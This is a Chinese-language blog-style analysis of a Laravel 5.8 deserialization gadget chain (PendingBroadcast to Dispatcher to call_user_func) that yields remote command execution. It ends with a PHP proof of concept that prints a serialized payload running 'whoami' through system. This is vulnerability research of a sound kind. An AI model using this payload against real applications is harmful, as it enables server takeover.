前言
前阵子分析过用laravel 6.20框架编写的lightcms v1.5.7中的漏洞,其中所用到的是5.8版本中的phar反序列化链子, 借此来分析一下。
配置环境
使用composer下载laravel 5.8。

dispatch()方法rce漏洞
首先,注册一个get路由。

接着,写好路由中触发的控制器。

来到触发点PendingBroadcast类中的__destruct()方法。 可以看到这里的$this->events跟$this->event可控。

寻找一个有dispatch()方法的类,这里$this->events构造为Dispatcher类,跟随变量流向来到Dispatcher类中。 众所周知,这里的dispatch()方法是个好东西,里面调用了$this->dispatchToQueue()方法,可以用来调用任意类(虽然我没复现之前不知道)。
不过,要想调用$this->dispatchToQueue()方法还需要构造if中的两个条件为true。第一个条件$this->queueResolver直接赋值即可, 这里讲一下第二个条件$this->commandShouldBeQueued($command)怎么构造。

来到$this->commandShouldBeQueued($command)方法中,可以看到$command是类名,这里要返回一个ShouldQueue接口类, 全局find usage找一个ShouldQueue接口类,把类名赋值给$command就行。

接着,便进入if条件调用$this->dispatchToQueue($command)方法了。

可以看到$this->queueResolver是call_user_func()函数中的第一个参数,$connection为第二个参数。 $this->queueResolver是Dispatcher类中的成员变量,这里直接覆盖就可以了。 而$connection是由$command->connection赋值过来的,$command又是由上面$this->ShouldBeQueued($command)方法返回的ShouldQueue接口类。 所以只要给ShouldQueue接口类中的成员变量($this->connection)赋值即可。

POC
<?php
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($obj_destruct, $obj_implements)
{
$this->events = $obj_destruct;
$this->event = $obj_implements;
}
public function __destruct()
{
$this->events->dispatch($this->event);
}
}
$obj_destruct = new Dispatcher();
$obj_implements = new BroadcastEvent('17');
$pwn = new PendingBroadcast($obj_destruct, $obj_implements);
echo urlencode(serialize($pwn));
}
namespace Illuminate\Bus {
use Illuminate\Contracts\Queue\ShouldQueue;
class Dispatcher
{
protected $queueResolver = 'system';
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
}
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
}
}
}
namespace Illuminate\Broadcasting {
class BroadcastEvent
{
public $connection = 'whoami';
}
}
There Is Nothing Below
